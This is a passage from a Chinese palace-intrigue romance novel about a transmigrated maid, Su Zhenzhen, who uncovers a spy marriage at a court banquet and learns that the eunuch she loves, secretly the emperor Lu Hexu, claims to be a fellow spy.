原本他想趁着这次科举拉拢朝中寒门,没想到这样的大好机会被毁了。
孙显宁没想到一向看起来温润玉如的沈言辞会有这种失态的时候,他下意识顿了顿,却并未多收敛脾气,作为孙阁老唯一的儿子,他从出生开始就没有受过气。
“父亲说了,周墨手里有一个账本,一定要找到那个东西,千万不能被韩硕找到了。”
沈言辞握着手中茶盏,努力呼吸,“知道了。”
-
科举舞弊事件过后几日,此事已经成为大家茶余饭后的八卦。
园中宴会正缺人手,苏蓁蓁被这位姑姑唤了过去。
园子里的宴会每日都会举行,此处依山傍水,又有琴师奏乐,苏蓁蓁端着手里的漆盘穿梭在园子里给贵人们上菜。
前面传来骚动声,苏蓁蓁抬眸望去,只见前头水榭之中正聚着一群郎君,穿着贴身得体的圆领袍,手持折扇,意气风发。
“那位就是谢大人吗?”
金陵有双壁,其一是沈言辞,其二是谢林洲。
沈言辞被孙阁老推荐入仕,三年之内一步登天,坐到二品大员的位置。
谢林洲寒门科举出身,于三年前考中探花郎,如今虽只是正七品六科给事中,品级不高,但此职监察百官,封驳奏章,是储相之才的跳板。
由此可见,魏恒对于谢林洲的期望之大。
“哪个?”
“那位,就是那个穿蓝色袍子的。”
苏蓁蓁身旁有贵女们持扇遮面轻声低语。
听闻探花郎的才学不一定是最好的,可一定是最好看的。
距离有些远,苏蓁蓁遥遥看了一眼,也觉得那名唤谢林洲的蓝衣探花郎五官轮廓极好看,是那种略带英气的俊郎,身上又敛着书生气。
“这谢大人成婚了吗?”
“他已经成婚了。”
“他夫人是个怎么样的人?”
“听说是个卖布的。”
“商户女?”
“是啊,当初不知道多少贵女倾心于他……”
苏蓁蓁正神游着听八卦,身后不知谁碰了她一下,手里托盘一歪,撞到前面一个人。
“请贵人恕罪。”
她迅速伏地请罪。
那位夫人并没有怪罪于她,只是语气温和地唤她起身,“无碍,我去换件衣裳便好,你知道哪里有换衣裳的吗?”
苏蓁蓁起身点头,领着这位夫人往外去,走出几步,便听身后传来脚步声。
苏蓁蓁扭头看去,只见方才那位还在被人讨论的上届探花郎居然直接来到了她近前。
嗯,好看是好看,可惜不在她的审美范围内。
苏蓁蓁曾经在群里与友人们讨论娱乐圈中的顶流帅哥们,最后得出一个结论,审美这东西果然很个人。
帅哥千姿百态,类型各异,她只爱美少年款。
“怎么了?”谢林洲视线落到自家夫人的裙裾上,“被人欺负了?”他的眸色瞬间凌厉起来,视线落到苏蓁蓁身上。
看我干什么啊,我也是被人推了!到底是哪个神经病推的她!
“不是的,是我自己不小心挡了这侍女的路。”女人伸手安抚地拍了拍自家夫君的手背,语气温柔至极,带着一股江南女子的柔美,她的长相也属于典型的江南美人,是那种柔如烟雨般的细腻。
身姿纤瘦,手指细长,看起来是个极其柔弱的美人。
“我陪你去换衣裳。”
“我自己去便好了,你的同僚们都在,莫失了礼数。”
谢林洲看一眼水榭,再看一眼自家夫人,沉默了一会,点头道:“好。”
柳听月将谢林洲劝走之后,随苏蓁蓁往后面给客人准备的厢房内去换衣。
苏蓁蓁走在前面引路,突然感觉自己后颈一疼,然后瞬间失去了意识。
靠!
柳听月伸手抱住身体软软倒地的婢女,将她放在侧边的美人靠上,然后左右环顾,见四下无人,便侧身拐入一间在暗处做了极其隐蔽的记号的厢房内。
进入前,柳听月还将墙壁上的那一点月牙记号擦掉了。
厢房内,隔着一层薄薄的芦帘,后面的桌案侧边坐着一人正在饮茶。
青衣宽袖,佛珠绕腕,茶香细腻,姿态优雅。
柳听月低声开口,“主子。”
“谢林洲最近如何?”
“魏恒很看重他,已经开始与他说些私密之事。”
沈言辞转了转手中茶盏,“科举舞弊之事老师也是做的过分招摇了,魏恒此人可不是个愚笨的,周墨手里有一份名单,好好找找,不要让我失望。”
-
柳听月从厢房内出来,先去隔壁换了裙衫,然后才走到苏蓁蓁面前。
她发现这侍女生得极好看,眉眼如画,歪头靠在美人靠上时,如同一幅画作一般。
柳听月伸手,指尖触到苏蓁蓁的面颊。
苏蓁蓁猛地一下睁开眼,后脖子钝痛。
手劲真大。
她抬眸看到站在自己面前的柳听月,“夫人,我怎么了?”
“你突然晕倒了。”柳听月蹙起细眉,满脸担忧。
“哦。”苏蓁蓁扶着美人靠站起来,眼神有些发直,学着电视剧里NPC没智商侍女的样子对自己突然晕倒这件事情毫无怀疑并且十分尽职尽责的开口道:“我带夫人去换衣裳。”
柳听月随苏蓁蓁去前面的厢房换衣服,苏蓁蓁站在屋外,盯着前面不远处的假山石看。
柳听月是沈言辞的人。
魏恒一直在致力于培植自己的势力,在世家大族抱团的朝堂上,他凝聚那些因为寒门出身,所以受到排挤的才学之士,谢林洲便是其中之一。
三年前,魏恒考中探花郎,为了实现心中报复,自愿外放,于实务中建功立业,得罪不少权贵,是魏恒出面保他,而后其成为魏恒心腹。
魏恒的动作自然瞒不过沈言辞的眼睛。
为了不打草惊蛇,沈言辞选择往谢林洲身边安插了一位暗桩。
那是一个父母双亡,生存艰难的商户女子,以卖布料为生,恰好住在谢林洲隔壁。
那时的谢林洲为了查清临安县那桩贪腐案子,隐姓埋名化作一名穷书生。
柳听月家中欠债,被地痞屡次骚扰,都是正义的谢林洲前去解围,一来二去,两人逐渐产生感情。临安县贪腐案结束后,谢林洲表明身份,两人成亲,柳听月从一
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介商户女一跃成为了探花郎夫人。
朝中上下想要与谢林洲结亲的人不知有多少,可谢林洲一个都没有搭理,只是将自家夫人从乡下接了过来。他自知一些人踩高捧低的德行,也知道自家夫人柔弱不能自理,一直护得很紧。
苏蓁蓁对《还朝》这本文的记忆实在是太久远了。
如果不是柳听月那一个手刀,她还想不起来这对双死结局的苦命鸳鸯。
原著中,谢林洲的恩人魏恒被害,他致力于查出真相,却发现朝夕相处的妻子居然是政敌安插在自己身边的卧底,还有比这更加崩溃的事情吗?
苏蓁蓁莫名想到她跟穆旦。
在这个诡谲风云的权谋文里,她跟穆旦就如同谢林洲和柳听月,是天然的对立面。
假设她跟穆旦在一起了,按照她这层身份来说,他们也不会有一个好结果。
“你没事吧?”柳听月推门进来,看到靠在门边发呆的苏蓁蓁。
苏蓁蓁回神,缓慢摇了摇头。
柳听月看着苏蓁蓁苍白的脸色,想了想,不知从哪里掏出一片金叶子递给她。
“多谢姑娘带我过来换衣。”
金的?
纯金的?
苏蓁蓁下意识摸了摸自己的脖子。
那也行。
下次还有这种好事再叫我。
苏蓁蓁藏好金叶子,看着柳听月走远,才笑眯眯的继续往前走。
突然,她面前出现一个人。
苏蓁蓁抬眸,看到一张熟悉的脸。
沈言辞。
“大人。”她迅速后撤一步,垂目躬身行礼。
生理性厌恶,看不了一眼。
“是你。”
沈言辞收回按在腰间软剑上的手。
柳听月走后,沈言辞吃完那盏茶,推门出来的时候听到一阵脚步声。
他素来谨慎,方才刚与柳听月见完面,生恐是旁人跟踪,没想到居然是这宫女。
“你也来了清凉山。”
“是的,大人。”
话怎么这么多。
沈言辞想到自己的计划,便露出温和笑颜,“上次给你的香囊没见你带。”
香囊?什么时候?
“奴婢怕弄丢了,好好收起来了。”
沈言辞微笑颔首,“我给了你香囊,你是不是也该还我一样?”
苏蓁蓁低着头,皮笑肉不笑。
狗东西。
女人伸出纤细指尖,解下腰间荷包,递给他。
沈言辞抬手接过,脸上表情温柔,眼神却透着疏离寡淡,“我会好好收藏的。”
-
沈言辞将手里的丑荷包随手一扔,然后走到床边。
作为二品官员,沈言辞有自己的一个小院。
他谨慎地关闭门窗,将匕首垫在枕下,一只手按着腰间软剑,才敢闭眼休息。
沈言辞一向入睡困难。
屋内飘散着一股淡淡的草药香气。
沈言辞紧皱的眉头逐渐舒展开去。
睡过一觉,沈言辞猛地一下惊醒。
又是这样,夜半惊梦。
他睡了多久?两个时辰?这么久?
梦中场面挥之不去,可这已经是难得的好觉。
他擦了擦额头冷汗,抽出枕下匕首藏入长靴,然后起身换好衣物,洗漱完毕。
屋内那股草药淡香久久不散,沈言辞的视线落在那个丑荷包上面。
他抬手拿起,放到鼻下轻嗅,瞬时觉得头脑清爽不少。
这荷包近嗅提神,远闻安眠,还真是古怪,里面到底加了什么东西?
沈言辞盯着这丑荷包看了一会,心中疑窦不消,抬手扔进院中池子里。
-
苏蓁蓁回到小院里时,穆旦已经坐在檐下等她了。
按照从前,苏蓁蓁一定会开开心心地跑过来跟穆旦说话,然后跟他分享今日见闻,然后再盯着他的盛世美颜发呆。
可今日,她却极其明显的避开了少年落过来的眼神,然后往自己的屋子里躲。
少年的视线一直随在她身上,直到苏蓁蓁将屋门关上,才将这道视线隔绝开去。
她失恋了。
不,还没开始恋呢。
苏蓁蓁躺在床上,深深叹了一口气,闭上眼。
今夜她肯定要辗转难眠了。
累了一天,苏蓁蓁很快就睡着了。
她的睡眠质量一向不错,因此,当她夜半惊醒的时候整个人还有点发懵。
她的床铺上被置了一盏琉璃灯。
看起来有点眼熟,像是穆旦日常最喜欢用的那盏。
苏蓁蓁的床铺不大,是一个大概只有一米二宽的小床,四周罩着暗绿色的床帘,构筑出一个隐私空间。
深暗色的床帘中置着一盏琉璃灯,将昏暗的床帐照亮。
两侧床帐没有拉起来,苏蓁蓁半撑起身子,看到面无表情坐在自己床边的小太监。
他真的很白,肌肤是那种不见天日的惨白,可偏偏又生得好看,唇色嫣红。
大概是觉得热,小太监身上只穿了件单薄的白色亵衣。
琉璃灯透光,小太监衣襟微微敞开,那衣料很滑,顺着他前倾的动作滑溜溜地兜着他的肩膀露出清晰的锁骨线条。
啊,锁骨。
苏蓁蓁的睡意褪去,视线不由自主的顺着那衣料往下滑。
然后下一刻,她的面颊就被人捏住了。
被发现了?
苏蓁蓁被迫移开视线。
小太监神色懒懒,像是不觉得夜半三更提着灯笼坐在别人床边露出锁骨是一件多么暧昧的事情。
他缓声开口,“你不开心。”
他看出来了?
苏蓁蓁努力让自己的眼神落到美少年脸上,“我们以后不要再见面了。”
那只捏着她面颊的手猛地一紧。
苏蓁蓁感觉自己的脸被挤成了一团。
“为什么?”小太监的声音冷了下去。
苏蓁蓁继续艰难开口,觉得胸口有点闷闷的,“我是为你好。”
屋子里安静了一会,少年突然起身上前,一只膝盖弯曲压在床沿边,倾身时衣襟彻底大敞。
苏蓁蓁的视线不受控制的下移。
【啊啊啊啊你一个太监为什么会有腹肌!】
【等一下这个角度背光了,我看不清有几块。】
【啊啊啊啊苏蓁蓁,都什么时候了,你居然还有心思偷看人家腹肌!】
【你一个暗桩别连累人家了。】
小太监歪头看着她,苏蓁蓁努力睁大眼,将视线从他的腹肌上挪开。
小太监看向她的表情变得有些古怪,像他们初次对话时那样的古怪。
他似乎是在思考什么,然后倾身过来,贴着苏蓁蓁的耳朵,像是情人间的低语一般,“告诉你一个秘密。”
【不会是要跟她告白吧!】
苏蓁蓁忍不住无声叹息。
她已经决定了。
【我们是不可能的。】
“其实,我跟你是一样的。”
【一样的?什么一样的?一样喜欢男人的腹肌?】
苏蓁蓁眨了眨眼。
陆和煦抽手,半张脸隐在暗处,“我也是暗桩。”
15.第 15 章
苏蓁蓁知道沈言辞在宫内放了许多自己的暗桩势力,可她没有想到,穆旦居然也是他的人。
等一下,既然都是暗桩的话,那她是不是能放心追了?就算死了也能埋一起做一对同穴鸳鸯。
当然,还有一件事。
“你怎么知道我是……暗桩?”
小太监坐在床沿边勾着帐子上面挂着的流苏坠子玩,“我等级比你高。”
苏蓁蓁:……
想起来了,她是最低级的暗桩,自然不会知道上面那些暗桩的身份,可上面那些暗桩却知道她的身份。
苏蓁蓁自从来到这个书中世界之后,一直觉得自己就像是站在了悬崖上,风一吹,她一歪,眼前就是万丈悬崖,随时都会粉身碎骨。
可现在,她的身边多了一个人。
虽然变成了两个人站在悬崖边,但苏蓁蓁却意外安心不少。
屋子里很安静,堵了苏蓁蓁一日的那口气瞬间就通了,她的心思又开始变得旖旎起来。
苏蓁蓁微微偏头朝少年看去。
那暗绿色的流苏坠子贴着他素白的手指,一圈一圈地绕起来,更衬得那手指细白如玉。
苏蓁蓁想,为什么世界上会有那么一个人长得如此符合她的审美,从头发丝到手指尖都那么合她的心意。
陆和煦转头,看到苏蓁蓁的视线。
他微微眯眼,朝她伸出一根手指。
苏蓁蓁下意识把脸凑了上去,她的鼻尖正好对到少年指尖。
苏蓁蓁的朋友养了一只可爱小博美,长得跟小狐狸一样,浑身白毛,你若是伸出一根手指,它便会朝你探出鼻尖。
湿漉漉的鼻尖怼在手指上,那双漂亮的小狗眼看着你,看起来极度乖巧可爱。
陆和煦勾唇笑了笑,显然是觉得有趣,他没动,只是开口道:“你脸上有东西。”
苏蓁蓁一愣,下意识直起身,面颊绯红。
她伸手随意擦了擦脸。
看到手背上沾下来一片薄薄的草药。
也不知道是什么时候沾到脸上去的。
不会还有吧?
苏蓁蓁摸了摸脸,她起身将一半床帐挂了起来,然后借着穆旦那盏琉璃灯的光去看镜子里的自己。
没有了。
虽然屋内昏暗,但苏蓁蓁却能从镜中看到小太监模糊的身影。
她对着镜子开口,“你跟在魏恒身边很辛苦吧?”
苏蓁蓁想起小太监白日里不见踪迹,晚间又一脸疲态的样子。
“魏恒是秉笔太监,处理朝中事务,我需得盯着这些东西,然后暗中将消息送出去。”
少年慢吞吞的回答。
原来如此。
那也不轻松呢。
“那你岂不是……很危险?”
魏恒可不是一个好对付的人。
虽然原著中他惨死于王吉之手,但如今改变了命运的他明显变得深沉不少。
从近日里宫里的制度变更和不断被揪出来的暗桩可以看出来,这位秉笔太监度过了生死劫之后,仿若跳脱出了一个NPC的命运,开始重新书写自己的人生。
“你害怕我连累你?”小太监还坐在她的床沿边,床帐一半撩起,一半落下,浅浅罩住少年影子。
苏蓁蓁摇头。
“我不是害怕这个,我只是怕你……死了。”
女人说这句话的时候,视线是落在镜中少年身上的。
身后突然安静下来。
那股寂静突如其来,直到少年起身,走到她身后。
少年很瘦,宽大的衣物罩着他,露出嶙峋的骨骼,他的影子浅浅落下来,却也能罩住半个她。
苏蓁蓁坐在梳妆台前,脸上刚刚抹完香膏。
柔软细腻的香膏敷在脸上,透出淡淡湿润的药草香气。
少年就站在她身后,然后伸出双手,从后面捧住她的脖子往上抬。
苏蓁蓁被迫仰头,少年的手笼罩下来,盖住她的脖颈,指腹压着她的喉管。
他俯身低头看她,语气平静的开口,“从来没有人说,怕我死了。”
那些人都怕他不死。
苏蓁蓁与他对视。
她吞咽唾液,能感受到喉头滚动时少年指腹的压迫感。
苏蓁蓁道:“那现在有了。”
【不要死。】
小太监看着她,琉璃灯被置在床上,跟此处有些距离,光线不至,实在是太昏暗了。
苏蓁蓁看不清少年神色,却感觉那只箍在自己脖颈处的指尖往上抬,按住她的唇角,轻轻摩挲。
少年浸润在黑暗中不语,也不知道在思考些什么,下一刻,他倾身过来,苏蓁蓁的视野一下清晰。
少年突兀笑了,他生得好看,笑起来时比牡丹苑里头那些开得正盛的花王牡丹还要漂亮。
他说,“好啊。”
希望她知道自己的身份之后,还会希望他,“不要死。”
-
寅时前,陆和煦回到清凉殿。
魏恒已经等了一会,“陛下,军务急报。”
陆和煦将手里的琉璃灯置在书案旁。
“你处理吧。”说完,他转身便要往地上躺。
走出三步,陆和煦突然拧眉想起什么,又转回来。
“军务呢?”
“在案上,陛下。”
陆和煦撩袍坐到案后,翻开军务,开始拧着眉看。
魏恒站到少年帝王身侧。
陆和煦不喜欢看奏折,他看久了就容易头疼。
从前他无所谓活不活,可今次得了这个好玩的宫女,他想着可以多活些时候。
处理完军务,陆和煦起身欲离开,魏恒赶紧开口道:“陛下,周墨说他有一个账本,记载了数年来自己送礼的数额,希望能将功赎罪。”
“嗯。”
“只是这账本不见了。”
“知道了,朕会让暗卫去查。”
魏恒松了一口气。
-
苏蓁蓁一手摇着扇子,双眸阖上,慢慢睡去。
夏日天气炎热,她这一觉直睡到夜幕降临。
黑暗像一口深渊巨兽,喜欢蚕食人类的精神力。
苏蓁蓁睁着眼躺在那里,望见夜幕星空,第一反应不是好看,而是寂寞。
院子里太安静了,她缓慢撑着身子坐起来,目光下意识地移向院子门口。
彷佛如她所想一般,那道纤瘦的身影提着一盏琉璃灯款款而来。
小太监虽然只是一个小太监,但不知道为什么,苏蓁蓁总能从他身上感受到一股端庄的礼仪感。
难道这就是传说中的情人眼里出西施?
随着琉璃灯的出现,院子里的黑暗被缓慢驱散。
苏蓁蓁的眸子也越发明亮起来。
她起身迎过去,对上少年漆黑的瞳孔。
苏蓁蓁紧张地捏着扇子,“那个,我屋子里有东西坏了。”
勾引人的话,是这样做的吧?
-
苏蓁蓁的屋子里的东西不算多,大部分都是她这几天从地里挖出来的草药。
这几天太阳好,她白天将草药放到院子里去晒,晚上搬进来,就放在她的屋子里。
因此,两人一进屋子就能嗅到一股很浓郁的草药香气。
苏蓁蓁
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赶紧先去点灯。
灯亮了,屋子里的物件轮廓缓慢显现出来。
窗前挂着驱蚊的药包,帐子的钩子上挂着安神的香囊,角落的竹篓子里装着还没来得及收拾的草药。
“这个,这个柜子好像坏了。”
苏蓁蓁站在螺钿衣柜前,伸手点了点上面的铜制把手。
把手摇摇晃晃,应该是上面的钉子松了。
少年歪头看了一会,视线转到苏蓁蓁脸上,“不会修。”
苏蓁蓁:……勾引失败。
按照苏蓁蓁的计划,两个人孤男寡女待在一处,暧昧氛围有了,起码会发生一点少儿不宜的事情吧?
她当然知道穆旦是个太监,不能人道,可喜欢这种事情也可以只是情感上的。
不会修的到底是把手,还是他对她不感兴趣?
苦恼。
女人歪着头,长发微散,盯着柜子把手发呆。
苏蓁蓁伸手去按那个把手,她想着如果穆旦对她感兴趣,就算是不会修的话,起码也要装一下吧?
一根手指突然撩起她的长发。
苏蓁蓁下意识转头,看到少年蹲在自己身边,那缕细碎的黑发被他捻在指尖,置到鼻下。
女人身上有一股药香。
比她给他的香囊还要好闻。
苏蓁蓁素来是个有色心没色胆也没有实践经验的人。
她敢在脑中幻想各种情节,一旦真刀实枪来了就怂了。
她下意识红了耳朵。
这到底是谁在勾引谁?
“变成红色了。”
陆和煦放下她的头发,表情看起来极其正经,他漂亮的指骨勾了勾她的耳垂,像是在陈述今日月色不错。
这下子,苏蓁蓁整张脸都红了。
“天,天气太热了。”
少年站起来,表情陡然阴沉。
他伸手按住额头,“头疼。”
偏头痛?
苏蓁蓁立刻被动触发职业技能,“平时会恶心、呕吐、怕风、怕光、怕听到声音吗?”
“你好吵。”
确诊了。
“头疼的话针灸是最快有效果的。”
“不要。”
少年下意识偏头,从苏蓁蓁的角度能看到他微微泛红的眼尾。
熟悉陆和煦的人就该知道了,此时应该远离这位暴君,他恐怕又想杀人了。
可苏蓁蓁看到少年泛红的眼尾,心头一阵柔软。
好可怜。
苏蓁蓁知道,有些病人会害怕针头。
“那用黑布将你的眼睛蒙上行不行?”
“不行。”
这不行,那不行。
“那用艾熏吧。”
一般来说,用来艾熏的艾条最好是三年陈艾。
苏蓁蓁这里只有今年开春新做好的艾条,虽然日子有些短,但总比没有的好。
少年侧躺在榻上,苏蓁搬了一个圆凳坐在榻边,她伸手拿着刚刚点燃的艾条,轻轻置在少年头部三厘米处的风池穴,大概十分钟之后,又转向百会穴。
艾条的味道是比较大的,苏蓁蓁提前将窗户和门都打开了,保持通风。
二十分钟之后,苏蓁蓁另外一只手握着自己酸胀的手腕动了动,她视线下移,看到少年闭着眼,不知道什么时候睡着了。
长榻不算狭窄,他却下意识蜷缩起身体,像一只防备心极强的猫,将自己整个包裹起来。
苏蓁蓁小心翼翼将艾条熄灭,然后单手托腮坐在圆凳上。
她伸出另外一只手,虚虚顺着少年漂亮的面部线条上下起伏抚摸。
好优越的骨相。